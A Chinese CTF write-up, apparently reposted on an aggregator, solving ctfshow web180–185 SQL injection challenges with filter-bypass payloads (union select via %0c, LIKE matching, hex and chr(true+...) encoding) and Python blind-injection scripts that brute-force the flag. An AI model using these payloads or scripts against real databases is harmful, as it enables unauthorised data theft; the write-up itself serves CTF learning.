ctfshow web入门 web180--web185

web180

import requests
import re
 
com = re.compile("admin")
def repisTrue(char):
    url = f"http://自己环境的网址/api/?id=1%27and%27{char}%27=%27{char}&page=1&limit=10"
    res = requests.get(url)
    w = com.search(res.text)
    if w is not None:
        return True
    return False
 
if __name__ == '__main__':
    all = []
    no = []
    for i in range(1,128):
        if repisTrue(chr(i)):
            all.append((i,chr(i)))
        else:
            no.append((i,chr(i)))
    print("all:",all)
    print("no:",no)

在这里插入图片描述

法一
'or'1'='1'--%0c
法二
-1'%0cuniOn%0cselEct%0c'1','2','3

-1'%0cuniOn%0cselEct%0c'1',database(),'3


-1'%0cuniOn%0cselEct%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()),'3

-1'%0cuniOn%0cselEct%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema=database()%0cand%0ctable_name='ctfshow_user'),'3

-1'%0cuniOn%0cselEct%0c1,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3

web181

在这里插入图片描述

mysql操作符优先级:(数字越大,优先级越高)

在这里插入图片描述
借用大佬的图,这里使用运算符等级绕过

-1'||username='flag

在这里插入图片描述

web182

在这里插入图片描述
过滤了flag我们就用like来匹配flag

-1'||(username)like'%fla%

在这里插入图片描述在这里插入图片描述

web183

在这里插入图片描述$_POST['tableName']来动态地获取表名

tableName=`ctfshow_user`where`pass`like'ctfshow{%'

**加粗样式**![
查询结果就变成了1
脚本

import requests
import string

url = "http://9ac44fb1-1cbf-4fdd-a7a0-dcdce0b24be4.challenge.ctf.show/select-waf.php"
payload = "(ctfshow_user)where(pass)like'ctfshow{0}%'"
flag = ''

for i in range(1, 50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1 = payload.format(flag + j)
        data = {'tableName': payload1}
        r = requests.post(url=url, data=data)
        if "$user_count = 1;" in r.text:
            flag += j
            print(flag)

在这里插入图片描述
这个脚本很快很好用

web184

在这里插入图片描述过滤了单双引号,那么我们就用like脚本或者INNER join on脚本

import requests
import string

url = "http://0d6e63ff-0213-4d40-a465-fcbf6778ccd2.challenge.ctf.show/select-waf.php"
payload = "ctfshow_user group by pass having pass like (0x63746673686f777b{0})"
flag = ''


def str_to_hex(str):
    return ''.join([hex(ord(c)).replace('0x', '') for c in str])


for i in range(1, 50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1 = payload.format(str_to_hex(flag + j + '%'))
        # print(payload1)
        data = {'tableName': payload1}
        r = requests.post(url=url, data=data)
        # print(r.text)
        if "$user_count = 1;" in r.text:
            flag += j
            print(flag)

在这里插入图片描述

import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f777b{0}"
flag=''
 
def str_to_hex(str):
    return ''.join([hex(ord(c)).replace('0x','') for c in str])
for i in range (1,50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1=payload.format(str_to_hex(flag+j+'%'))
        # print(payload1)
        data={'tableName':payload1}
        r=requests.post(url=url,data=data)
        # print(r.text)
        if "$user_count = 22;"  in r.text:
            flag+=j
            print(flag)

在这里插入图片描述学一下这个INNER join on
INNER join in

web185

true代替数字,concat+chr代替引号

在这里插入图片描述
我发现脚本越来越复杂了
先放个脚本我去学一下

import string

import requests

url = 'http://de655322-190c-4e8f-b65d-c2f663245ee1.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user group by pass having pass like(concat({}))'
flag = 'ctfshow{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
        return num


def createStrNum(c):
    str = ''
    str += 'chr(' + createNum(ord(c[0])) + ')'
    for i in c[1:]:
        str += ',chr(' + createNum(ord(i)) + ')'
    return str


uuid = string.ascii_lowercase + string.digits + "-{}"

for i in range(1, 50):
    for j in uuid:
        payload1 = payload.format(createStrNum(flag + j + "%"))
        # print(payload1)
        data = {
            'tableName': payload1
        }
        re = requests.post(url=url, data=data)
        if "$user_count = 0;" not in re.text:
            flag += j
            print(flag)
            if j == '}':
                exit()
            break

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/568379.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

windows系统下python开发工具安装

一. 简介 前一篇文章学习了安装 python解释器,文章如下: windows系统下python解释器安装-CSDN博客 本文来学习如何下载安装 python开发工具 PyCharm。 二. python开发工具 PyCharm下载安装 1. PyCharm官网 PyCharm开发工具 PyCharm为 python代码…

自制Apache-Doris 2.0.4镜像Docker部署一Fe和一Be集群及遇到的问题解决

自制Apache-Doris 2.0.4镜像Docker部署一Fe和一Be集群及遇到的问题解决 文章目录 1.前言2.doris是什么?2.1简介2.2介绍2.3使用场景2.4架构 3.官网4.构建部署4.1 构建环境4.2 doris2.0.4的fe和be镜像构建4.2.1 fe2.0.4镜像构建脚本4.2.2 be2.0.4镜像构建4.2.3 启动脚…

Linux 操作系统的引导过程

Linux系统开机引导过程: 开机自检 检测硬件设备,找到能够引导系统的设备,比如硬盘MBR引导 运行MBR扇区里的主引导程序GRUB启动GRUB菜单 系统读取GRUB配置文件(/boot/grub2/grub.cfg)获取内核的设置和…

centos7+mysql57安装以及初始化

1、下载安装yum官方mysql源: http://repo.mysql.com/ ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/061472a86e9e4548b76d4603d4614568.png rpm -ivh mysql57-community-release-el7.rpm2、yum安装mysql服务 yum install -y mysql-community-server…

深兰科技入选2024全国“人工智能+”行动创新案例TOP100

近日,中科院《互联网周刊》联合eNET研究院、德本咨询、中国社会科学院信息化研究中心共同发布了《2024全国“人工智能”行动创新案例TOP100》榜单。经评委会层层遴选,深兰科技专为洛阳市打造的“工业智能化洛阳中心”项目成功入围该榜单。一同入围的还包…

Threejs 相机定位聚焦

网上大部分讲功能的时候,讲的太复杂了,或者就是讲不清,今天我就给大家简单简洁的描述下这个聚焦定位咋做如下: 扫码关注下: 聚焦定位只要就是设置相机的位置,和更新相机的朝向,就如一个人站在这…

2024三掌柜赠书活动第二十四期:containerd原理剖析与实战

目录 前言 Containerd的架构 Containerd的工作流程 Containerd的实战演示 关于《containerd原理剖析与实战》 编辑推荐 内容简介 作者简介 图书目录 书中前言/序言 《containerd原理剖析与实战》全书速览 结束语 前言 作为开发者,对于编程语言并不陌生&…

Atlas Vector Search:借助语义搜索和 AI 针对任何类型的数据构建智能应用

Atlas Vector Search已正式上线! Vector Search(向量搜索)现在支持生产工作负载,开发者可以继续构建由语义搜索和生成式人工智能驱动的智能应用,同时通过 Search Node(搜索节点)优化资源消耗并…

Android—— log的记忆

一、关键log 1.Java的 backtrace(堆栈log) 上述是一个空指针异常,问题出现在sgtc.settings,所以属于客户UI问题。 2.WindowManager(管理屏幕上的窗口和视图层次结构) 3.ActivityManager(管理应用程序生命周期和任务栈) 4.wifi操作 (1) 连接wifi&#…

2024深圳杯数学建模挑战赛C题:编译器版本的识别问题思路代码成品论文分析

更新完整代码和成品完整论文 《2024深圳杯&东三省数学建模思路代码成品论文》↓↓↓ https://www.yuque.com/u42168770/qv6z0d/zx70edxvbv7rheu7?singleDoc# 问题重述 深圳杯数学建模挑战赛2024C题:编译器版本的识别问题 作为一种重要的工具,电子…

【后端】python2和python3的安装与配置

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、python是什么二、python环境的安装与配置Python 2的安装与配置Python 3的安装与配置注意事项 三、总结 前言 随着开发语言及人工智能工具的普及&#xff0…

信息打点--公众号服务

微信公众号 获取微信公众号的途径https://weixin.sogou.com/ 微信公众号没有第三方服务 Github监控 人员&域名&邮箱 eg:xxx.cn password in:file https://gitee.com/ https://github.com/ https://www.huzhan.com/ 资源搜索 in:name test 仓库标题搜索含有…

Linux--内核移植(二)移植流程及驱动修改

本文来总结一下如何将 NXP 官方提供的 Linux 内核移植到正点原子的 I.MX6U-ALPHA 开发板上。 一、官方开发板内核测试 NXP 提供的 Linux 源码肯定是可以在自己的 I.MX6ULL EVK 开发板上运行下去的,所以我们肯定是以 I.MX6ULL EVK 开发板为参考&#xff0…

DFS与回溯专题:路径总和问题

DFS与回溯专题:路径总和问题 一、路径总和 题目链接: 112.路径总和 题目描述 代码思路 对二叉树进行dfs搜索,递归计算每条路径的节点值之和,当某个节点的左右子节点都为空时,说明已经搜索完成某一条路径&#xff0…

中北大学软件学院操作系统实验二进程调度算法

实验时间 2024年 4 月13日14时至16时 学时数 2 1.实验名称 实验二进程调度算法 2.实验目的 (1)加深对进程的概念及进程调度算法的理解; (2)在了解和掌握进程调度算法的基础上,编制进程调度算法通用程序,将调试结果显示在计算机屏幕上&am…

Android Perfetto 监控应用启动耗时

Perfetto 是一个 Google 开发的用于安卓系统性能监控和调试的工具,它旨在提供实时数据收集和可视化功能,帮助我们分析和优化应用程序的性能表现。Perfetto 可以捕获系统事件、CPU、内存、网络、GPU 等性能指标数据,并将其记录为轻量级的 Trac…

BBS前后端混合项目--03

展示 static/bootstrp # bootstrap.min.css /*!* Bootstrap v3.4.1 (https://getbootstrap.com/)* Copyright 2011-2019 Twitter, Inc.* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)*//*! normalize.css v3.0.3 | MIT License | github.com/n…

C语言学习/复习29--内存操作函数memcpy/memmove/memset/memcmp

一、内存操作函数 1.memcpy()函数 注意事项1:复制的数目以字节为单位 注意事项2:一定要保证有足够空间复制 模拟实现1 拷贝字符案例:由于拷贝时函数本事就以字节为单位拷贝所以该例子也可用于其他类型数据的拷贝。 模拟实现2 将自身的…

diffusion model 简单demo

参考自: Probabilistic Diffusion Model概率扩散模型理论与完整PyTorch代码详细解读 diffusion 简单demo 扩散模型之DDPM Diffusion model 原理剖析 张振虎-扩散概率模型 生成扩散模型漫谈(一):DDPM 拆楼 建楼 核心公式和逻辑 …

自适应STFT及其在地震时间行程自动拾取中的应用【附MATLAB代码】

文章来源:微信公众号:EW Frontie 摘要 在本文中,首先,我们提出的方法来产生高分辨率的短时傅里叶变换,通过计算最佳瞬时窗口长度。其次,利用生成的时频图提取瞬时走时属性,实现地震同相轴走时的…
最新文章